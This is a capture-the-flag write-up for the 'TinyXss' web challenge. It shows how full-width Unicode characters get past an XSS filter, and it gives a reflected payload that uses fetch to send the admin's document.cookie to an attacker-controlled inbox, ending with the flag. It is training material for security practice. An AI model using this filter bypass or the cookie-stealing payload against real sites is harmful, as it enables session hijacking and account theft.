TinyXss | CatReloaded Finals Web Challenge

Challenge Introduction & Goal

From the challenge title and description we set our main focus on finding and exploiting an XSS attack vector to retrieve admin cookies.

The admin bot also has no internet connection which means we can't send data to an external listener/webhook.

Initial Reconnaissance

In the main page we can see the XSS entry point and a reflection box, as well as a report to admin button.

In the report page we are given a report URL field and an inbox code which people can send messages to using the following URI format:

/collect/InboxCode?d=YourMessageHere

when tested shows up in our inbox.

Testing for XSS

When testing different payloads like:

• %3Cscript%3Ealert(1)%3C%2Fscript%3E
• <script>alert(1)</script>

They are all prevented and do not run. However, using the given hint:

Make sure it is WIDE enough.. it should be easy now ❤

We can try another type of character encoding called "full width characters" using this simple online converter.

Wide text generator Widen your text with a unique and easy to use generator for symbol characters. Make your text wide and original.

After using the full width character payload the reflected XSS alert is shown.

＜ｓｃｒｉｐｔ＞ａｌｅｒｔ（１）＜／ｓｃｒｉｐｔ＞

Exploiting the Vulnerability

After identifying the entry point we need to craft a payload to somehow send the admin cookies to our inbox.

We can report and send a link of the reflection endpoint to fetch to our inbox link with the cookie in hand.

／？ｑ＝＜ｓｃｒｉｐｔ＞ｆｅｔｃｈ（＇／ｃｏｌｌｅｃｔ／ｆｂ６ｊｈ０ｌｚＺｏＭ？ｄ＝＇＋ｅｎｃｏｄｅＵＲＩＣｏｍｐｏｎｅｎｔ（ｄｏｃｕｍｅｎｔ．ｃｏｏｋｉｅ））＜／ｓｃｒｉｐｔ＞

Which in turn sends us the final flag:

CATF{so8ayyar_bs_ye7ayar}

Attack Summary

1. Admin opens the malicious link.
2. Runs the reflected XSS payload.
3. Admin fetches and sends the cookie to a hacker owned inbox.

Thank you for reading and see you in the next challenges!